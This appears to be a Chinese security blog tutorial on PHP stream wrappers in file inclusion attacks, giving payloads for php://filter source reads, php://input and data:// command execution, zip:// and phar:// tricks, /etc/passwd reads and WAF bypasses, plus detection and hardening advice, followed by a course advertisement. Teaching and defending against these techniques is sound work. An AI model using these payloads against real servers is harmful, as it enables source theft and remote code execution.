PHP 伪协议深度详解

PHP 伪协议:使用 php://input 访问原始 POST 数据 php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。enable_post_data_reading 是 PHP 中的一个布尔配置项,该配置项决定了 是否在 PHP 启动时读取和解析 POST 数据以填充 $_POST 与 $_FILES 超全局变量。在 默认情况 下,enable_post_data_reading 是 开启 的。 阅读详情

PHP 伪协议深度详解

前言

PHP 伪协议(封装协议)是 PHP 内置的数据流封装器,在文件包含漏洞场景中是红队最常用的攻击手段,护网、CTF 高频出现。本文系统讲解 php://filter、php://input、data://、zip://、phar://、file:// 等主流伪协议原理、利用条件、Payload、版本差异、WAF 绕过技巧,配套蓝队检测与防御方案,适合 Web 安全学习。

【法律声明】⚠️ 本文仅用于企业授权环境下安全自查与网络安全学习,禁止在未授权网站、服务器上利用 PHP伪协议读取源码、执行代码、探测漏洞。未经授权访问计算机系统属于违法犯罪行为,请遵守《网络安全法》《刑法》相关规定。


一、什么是 PHP 伪协议

PHP 伪协议,也叫封装协议(Wrapper),是 PHP 内置的特殊数据流处理器。当include()、require()、file_get_contents()、readfile()这类文件操作函数接收协议开头的字符串时,不会去读取磁盘普通文件,而是交给对应的伪协议处理器处理数据流。

伪协议是文件包含漏洞的核心利用方式,就算不能上传图片马,也可以直接使用伪协议读取源码或者直接执行 PHP 代码。

核心区分两个 php.ini 配置项(非常关键)

  1. allow_url_fopen:控制是否允许打开远程文件流
  2. allow_url_include:控制include/require能否包含远程 / 伪协议数据流,默认关闭

重点:php://filter不受 allow_url_include 限制,就算两项都 Off,依旧可以使用,这也是它使用最广泛的根本原因。

二、php://filter(最常用,读取 PHP 源码)

2.1 原理

php://filter 是过滤器封装器,在读取文件的过程中对数据流做编码转换。
直接 include 一个 php 文件,PHP 引擎会执行里面代码,页面只会输出执行结果,看不到源码。
通过 filter 的 base64 编码过滤器,文件内容读取时直接编码成 base64 字符串输出,不会执行 PHP 代码,直接拿到完整源码。

2.2 基础语法

php://filter/read=convert.base64-encode/resource=目标文件

参数说明:

  • resource:必填,指定要读取的文件
  • read=:读取时使用的过滤器,管道|可以连接多个过滤器链式执行

基础 Payload:

?file=php://filter/read=convert.base64-encode/resource=index.php

访问后页面返回 index.php 源码的 base64 字符串,解码即可拿到源代码。

rot13 过滤器(另一种编码,用于简单绕过)

?file=php://filter/read=string.rot13/resource=index.php

2.3 多过滤器链式调用(WAF 绕过)

多层编码,绕过简单关键字 WAF 检测

?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php

读取后需要两次 base64 解码。

2.4 限制

  • 受open_basedir目录限制,不能读取限制目录以外文件;
  • 受文件系统权限控制,文件不可读时利用失败;
  • 仅能读取,默认不能直接执行代码。

三、php://input(POST 原始数据流,无文件 RCE)

3.1 原理

php://input 可以读取 HTTP 请求POST 原始请求体。
当include加载php://input时,会把 POST 提交的数据当做 PHP 代码执行,不需要在服务器落地任何文件,属于内存无文件执行。

3.2 使用条件

  1. allow_url_include = On(生产环境默认关闭)
  2. 请求为 POST
  3. 不能是 multipart/form-data(文件上传表单格式下 php://input 失效)

3.3 利用示例

漏洞页面:include.php?file=xxx
构造 URL:

include.php?file=php://input

POST 请求体提交:

<?php system('id');?>

服务器会直接执行这段代码,实现命令执行。

优点:不需要上传任何后门文件;缺点依赖高危配置,现在生产环境很少开启。

四、data:// 伪协议(内联数据,直接执行代码)

data:// 可以直接在 URL 内嵌入数据,当做文件流被 include 包含。

使用条件

  • PHP >=5.2
  • allow_url_include=On,allow_url_fopen=On

Payload 示例

明文版本:

?file=data:text/plain,<?php system('whoami');?>

base64 编码版本(绕过特殊字符过滤)

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

缺点:需要开启高危配置,现在真实环境不多见,CTF 中出现较多。

五、zip:// 压缩包伪协议

zip:// 可以读取压缩包内部的文件,压缩包后缀可以任意修改为 jpg/png,配合文件包含使用。

使用条件

PHP >=5.3,需要压缩包绝对路径,#在浏览器中需要 URL 编码%23。

Payload:

?file=zip://D:/web/upload/shell.jpg%23shell.php

解释:shell.jpg 本质是 zip 压缩包,里面存放 shell.php,zip 协议读取压缩包内的 shell.php 并执行。

护网场景:上传改后缀的 zip 图片,然后用 zip 协议包含压缩包内的 php 后门。

六、phar:// 伪协议(重点:搭配反序列化漏洞)

phar 是 PHP 归档文件,phar:// 协议读取 phar 包内部文件。

  • 和 zip:// 很像,但 phar 存在特殊特性:phar 文件在被 phar:// 协议访问时,会自动触发内部对象的反序列化,是 PHP 反序列化漏洞的经典触发方式。

Payload 示例:

?file=phar://upload/test.jpg/test.txt

关键点:phar 包后缀可以改成 jpg/png,上传图片后,使用 phar:// 触发反序列化,不需要文件内容被 PHP 解析。这是和图片马最大的区别。

七、file:// 本地文件读取协议

file:// 用于读取服务器本地磁盘文件,只能读取文件,不会执行 PHP 代码。
Payload Linux:

?file=file:///etc/passwd

Windows:

?file=file://C:/windows/system32/drivers/etc/hosts

常用来读取系统配置、数据库配置文件。

八、各伪协议对比汇总表

表格

伪协议作用核心前提
php://filter读取源码(base64 编码)不受 allow_url_include 限制,最常用
php://inputPOST 提交代码,内存 RCEallow_url_include=On,POST 请求
data://URL 内嵌入代码执行allow_url_include=On
zip://读取压缩包内文件需要压缩包绝对路径
phar://读取归档文件,触发反序列化上传 phar 文件,phar:// 触发
file://读取本地磁盘文件文件可读

九、常见过滤绕过思路

  1. 关键字过滤 php://
    可以使用大小写绕过(PHP://Filter),部分老旧 WAF 只匹配小写;新版本 WAF 一般已经修复。
  2. 过滤 base64
    更换 rot13 等其他过滤器,或者多层过滤器链式调用。
  3. #号被拦截
    URL 编码为%23。
  4. 路径过滤…/
    使用 URL 编码..%2F、双写....//绕过简单替换过滤。

十、蓝队检测思路

  1. Web 日志审计
    监控 GET 参数,寻找php://filter、php://input、data://、zip://、phar://特征请求,出现即为高危探测行为。
  2. 流量审计
    POST 请求访问文件包含页面,请求体带有 PHP 代码,警惕 php://input 利用。
  3. 上传文件审计
    排查 jpg/png 图片是否为 zip/phar 压缩包,检查文件头。
  4. 配置审计
    检查 php.ini,allow_url_include=On属于高危配置,生产环境建议强制关闭。
  5. open_basedir 配置,限制 PHP 可访问目录,防止跨目录读取系统文件。

十一、防御方案

  1. 代码层面
    禁止用户可控参数直接传入include、require、file_get_contents。采用白名单,只允许包含预设的固定文件。
  2. PHP 配置加固
  • allow_url_include = Off(必关,阻止 input/data 远程代码执行)
  • 合理配置open_basedir,限制文件访问范围
  1. WAF 规则
    添加规则拦截伪协议特征:php://filter、php://input、phar://、zip://
  2. 文件上传防御
    校验文件真实文件头,禁止上传伪装成图片的 zip/phar 压缩包,上传目录禁止脚本解析。

十二、常见误区总结

  1. ❌ 误区:php://filter 可以直接执行代码
    ✅ 正确:filter 只做编码读取,用于拿源码;执行代码一般用 php://input/data://
  2. ❌ 误区:phar:// 只能读取文件
    ✅ 正确:phar:// 访问会触发 phar 元数据中的反序列化,这是它最大的安全风险
  3. ❌ 误区:所有伪协议都需要开启 allow_url_include
    ✅ 正确:php://filter 不需要,这也是护网中它出场最多的原因
  4. ❌ 误区:zip:// 可以使用相对路径
    ✅ 正确:zip:// 需要绝对路径,相对路径一般无法成功

十三、总结

PHP 伪协议是文件包含漏洞的核心利用手段,不同协议能力不一样:

  • 拿源码首选php://filter,兼容性最强;
  • 无文件代码执行依赖php://input和data://,但依赖高危配置;
  • zip://、phar://搭配文件上传使用,phar 还可以触发反序列化。

作为红队,需要根据目标 php.ini 配置、过滤规则选择合适伪协议;作为蓝队,看懂伪协议原理,看懂日志中的特征请求,是应急响应排查文件包含攻击的必备能力。

【免责声明】本文仅用于网络安全学习、企业授权环境安全自查。任何未经授权利用 PHP
伪协议读取源码、执行代码、入侵计算机系统,均触犯相关法律法规,作者不承担任何非法使用带来的法律责任。


最后

网络安全需要学习那些知识

网络安全零基础入门学习路线&规划

初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!

img

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。
在这里插入图片描述

网络安全工程师企业级学习路线

在这里插入图片描述

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

在这里插入图片描述

一些我自己买的、其他平台白嫖不到的视频教程:

要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

CTF Web渗透实战:PHP文件包含、伪协议与反序列化漏洞串联利用 文件包含漏洞是Web安全中常见的高危风险点,它允许攻击者通过动态包含恶意文件来执行任意代码或读取敏感数据。其原理在于程序未对用户输入的文件路径进行严格校验,直接传递给include、require等函数。在PHP环境中,结合伪协议如data://和php://filter,攻击者可绕过常规文件读取限制,实现无文件包含或源码泄露。这类技术的工程价值在于揭示了输入验证不严和危险函数组合使用的安全隐患,常出现在代码审计、CTF竞赛和真实渗透测试场景中。例如,通过data://协议伪造文件内容,或利用php://f 阅读详情

相关推荐

Pikachu靶场实战:File Inclusion漏洞从入门到精通(附防御代码)

本文深入解析Pikachu靶场中的File Inclusion漏洞,涵盖LFI和RFI的攻击原理、实战演练及防御方案。通过详细代码示例和攻击演示,帮助读者掌握文件包含漏洞的利用与防护技巧,提升Web应用安全性。

weixin_29324877的博客 215

PHP 伪协议

php伪协议

m0_56107268的博客 6058

PHP伪协议详解:原理、应用与安全实践

流处理是编程中常见的数据操作范式,PHP伪协议(PHP Wrapper Protocols)作为其特殊实现,通过统一接口访问各类资源。其核心原理是将不同来源(如内存、压缩数据等)抽象为流对象,利用协议标识符触发对应的处理器。这种机制在数据处理、API开发等场景展现技术价值,特别是php://filter的链式编码转换和php://input的原始POST读取能力。实际开发中需注意内存管理与安全防护,合理使用php://memory和php://temp可优化性能,而严格限制协议白名单能防范文件包含漏洞。本文

weixin_33462927的博客 170

PHP伪协议

PHP伪协议

qq_37466661的博客 6596

Web安全实战:BurpSuite抓包与PHP伪协议利用详解

在Web安全测试与渗透测试领域,信息收集与漏洞探测是至关重要的基础环节。其核心原理在于,Web应用的本质是客户端与服务器之间基于HTTP/HTTPS协议的持续数据交换,而许多安全漏洞或隐藏信息就潜藏在这些网络通信数据包之中。掌握HTTP请求与响应的深度分析技术,能够帮助安全人员像侦探一样,从看似正常的交互中发现异常行为、隐藏接口或敏感文件路径,这是打开安全突破口的首要步骤。其中,文件包含漏洞是一种常见的高危漏洞,当服务器端脚本未对用户输入的文件路径进行严格过滤时,攻击者可能利用此漏洞读取系统文件甚至执行任意

人生的意義在於修煉!修煉之路~ 350

i春秋 afr1 解题过程 题解 原理 PHP伪协议 文件包含漏洞

知识面决定攻击的广度,知识链决定攻击的深度。 最近尝试了一下挖洞,捣鼓了一天还是啥都没有,没有头绪后,还是去写点CTF题,扩充下知识面,2个方向算是互补吧。 工具 dirsearch(目录扫描工具) 火狐 hackbar 知识点 php://伪协议 php://伪协议是PHP提供的一些输入输出流访问功能,允许访问PHP的输入输出流,标准输入输出的错误描述符,内存中,磁盘备份的临时文件流,以及可以操作其他读取和写入文件资源的过滤器。 php://filter是元封装器...

AAAAAAAAAAAA66的博客 1100

⭐️PHP伪协议详解

PHP伪协议是PHP自己支持的一种协议与封装协议,简单来说就是PHP定义的一种特殊访问资源的方法。有些伪协议成功执行需要allow_url_fopen和allow_url_include的支持。allow_url_fopen On/Off 允许或禁止打开URL文件allow_url_include On/Off 允许或禁止引用URL文件。

Python老吕的博客 7650

PHP伪协议与文件上传漏洞:从原理到实战的深度解析

文件上传是Web应用中的常见功能,其安全实现涉及对用户输入的多层校验。漏洞产生的核心在于服务器对上传文件的信任与校验逻辑存在缺陷,攻击者可利用此缺陷实现恶意文件上传。PHP伪协议作为PHP环境提供的强大数据流封装器,能够对文件内容进行编码转换或直接访问请求原始数据,常被用于文件包含漏洞的利用。当不严谨的文件上传功能与支持伪协议的文件包含点结合时,攻击者便能通过构造特殊请求,实现从任意文件读取到远程代码执行的技术突破。本文以渗透测试中常见的文件上传场景为例,深入剖析如何利用php://filter读取上传文件

weixin_33978578的博客 345

php伪协议

PHP伪协议,也是php支持的协议和封装协议。file:// 访问本地文件系统php:// 访问各个输入/输出流data:// 数据zip:// 压缩流 不过有些伪协议需要allow_url_fopen和allow_url_include的支持。allow_url_fopen On/Off 允许或禁止打开URL文件allow_url_include On/Off 允许或禁止引用URL文件。

weixin_60719780的博客 7136

PHP伪协议安全漏洞深度解析:从原理到实战攻防

在Web应用开发中,文件包含与流处理是常见功能,PHP通过内置的协议处理器(如file://、php://、data://等)提供了便捷的接口。其原理在于PHP的流包装器机制,当文件操作函数接收用户输入时,若未严格过滤,攻击者可构造恶意协议路径,劫持执行流程。这种机制的技术价值在于灵活的数据源访问,但安全风险极高,常被用于实现任意文件读取(LFI)和远程代码执行(RCE)。在应用场景中,php://filter常被用于读取PHP源码,php://input与data://协议在特定配置下可直接执行代码,而p

weixin_32428571的博客 357

步进电机

步进电机

happygrilclh的博客 2141

CTF竞赛解题思维与Web安全实战技巧

CTF竞赛作为网络安全领域的重要实战平台,其核心在于培养系统化的解题思维和安全攻防能力。从技术原理来看,CTF题目通常涉及Web安全、逆向工程、密码学等多个领域,考察选手对漏洞原理的理解和工具链的运用能力。在工程实践中,Flag导向思维、工具链思维和模式识别能力构成了解题的三大支柱,而分治策略和时间管理等技巧则能显著提升解题效率。特别是在Web安全方向,SQL注入绕过、SSTI模板注入、文件包含漏洞等高频攻击手法,都需要选手掌握底层原理并具备实战经验。通过系统化的训练和模式积累,CTF选手可以建立起应对各类

weixin_29315091的博客 287

MATLAB闪退别慌!5分钟搞定Windows系统预设文件修复(附详细截图)

本文针对MATLAB在Windows系统下频繁闪退的问题,提供了快速有效的解决方案。核心在于修复或重置损坏的MATLAB预设文件,通过图文并茂的五步法,指导用户定位AppData目录、重命名预设文件夹,从而让MATLAB自动生成全新配置以解决闪退。文章还涵盖了问题诊断、设置备份及进阶排查方法,帮助用户彻底根除启动故障。

weixin_29234423的博客 928

PHP 伪协议深度解析:原理、攻击场景与防御指南

在 PHP 安全领域,是一个绕不开的关键概念。它是 PHP 内置的一组特殊 “协议”,允许开发者通过统一的输入接口(如include()、file_get_contents()等函数)操作非传统文件资源(如内存数据、数据流、压缩包等)。然而,这种灵活性也为攻击者提供了利用空间 —— 通过构造特定的伪协议 URI,可绕过文件系统限制、读取敏感信息,甚至执行任意代码。本文将从原理出发,结合实际攻击场景,深入解析 PHP 伪协议的技术细节,并给出针对性的防御建议。

井底之蛙见世界 1173

完整内、外期货量化交易系统源码可售

支持客户登录校验,支持所有的实时行情和汇总报价功能、实时资讯(报价,列表,分时,分钟成交明晰,),多线程支持盘后收盘作业下载(日线,5分钟线,15分钟, 30分钟,60分钟线,),支持从服务器下载相关运行配置(来自服务器动态配置信息,如收盘日期等),实现状态条显示。收盘作业包括日线、5分钟线、15分钟线、30分钟、60分钟线、2小时线、4小时线每日分时走势。综合信息栏显示用户账户信息、合约信息、当日委托单记录、当日成交记录、当日平仓记录、当日跟单记录、当日(月/周)排行榜、下单栏、持仓信息;

qq_35600909的博客 1805

游戏数据训练世界模型:AI物理规律学习与仿真应用实践

世界模型作为理解现实世界动态的AI工具,通过多模态数据学习物理和空间属性来预测未来状态。其核心原理在于从环境交互中提取物理规律,技术价值体现在能够安全、低成本地训练AI系统应对复杂场景。在应用层面,游戏数据因其结构化环境和内置物理引擎,成为世界模型训练的优质素材。游戏世界中的物体交互、运动轨迹等数据天然包含现实物理规律,特别适合训练物理AI。本文以General Intuition公司获得3.2亿美元融资为切入点,深入探讨游戏数据在世界模型训练中的技术实现路径,涵盖数据提取管道构建、多模态数据融合方法,以及

weixin_29056865的博客 367

萌新学网安——伪协议

常见内置伪协议:file://(相当于传递本地文件的路径)解释:可以直接在url中镶嵌数据内容,直接将数据当做文件流来读取或包含,不需要物理文件。是php的归档文件格式,类似于java的.jar包或普通的.zip文件和zip://一样针对zlib压缩格式针对bzip2压缩格式。

2402_86733709的博客 718

中兴OLT配置实战:从零开始,手把手教你完成一个HGU的完整业务开通(含DBA模板、限速与远程升级)

本文详细介绍了中兴OLT配置实战,从零开始手把手教你完成HGU的完整业务开通,包括DBA模板设计、限速与远程升级等关键步骤。通过实际案例和详细命令,帮助工程师快速掌握GPON网络配置技巧,提升运维效率。

weixin_30599769的博客 350

CTF学习 day3 PHP伪协议

解码后得到flag{de4c504e-e485-48b4-8c81-4e13941e3238}返回上一级发现php文件,考虑使用php伪协议。打开靶机网址我们发现是一个超链接,点进去。跳转后的页面也没有什么有用的信息。获得base64编码。

m0_64140818的博客 365

Apache DolphinScheduler 实现了对 OceanBase 的元数据库支持

Apache DolphinScheduler 是一款开源的分布式工作流任务调度系统,它提供了可视化的工作流设计和调度功能,支持大数据任务的自动化调度和监控。最近的更新中,Apache DolphinScheduler 引入了对 OceanBase 数据库的元数据库支持,这为用户在大数据环境中管理和调度任务提供了更多选择。用户可以通过 DolphinScheduler 提供的可视化界面进行工作流的设计和调度,也可以通过 DolphinScheduler 提供的 API 进行任务的编程调度。

VavzNvml的博客 495

PyQt5自动化测试,让测试更加便利

PyQt5是一个Python的GUI编程工具包,帮助开发者可以更加简单、快捷地创建图形界面和处理用户输入。在PyQt5中有两种常见的测试方式:手动测试和自动化测试。手动测试需要通过点击、输入等交互操作进行测试,自动化测试则是通过程序模拟鼠标、键盘等操作进行测试。这段代码创建了一个简单的窗口,其中包含一个按钮。这段代码打开一个本地HTML文件,点击页面上的按钮并检查输出是否为“Button clicked”。以上就是在PyQt5中进行自动化测试的简单示例。使用PyQt5可以大大简化测试过程,提高测试效率。

PixelCoder的博客 711
上一篇: 图片马原理 + 文件包含漏洞详解
下一篇: 文件上传漏洞完整原理与绕过
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值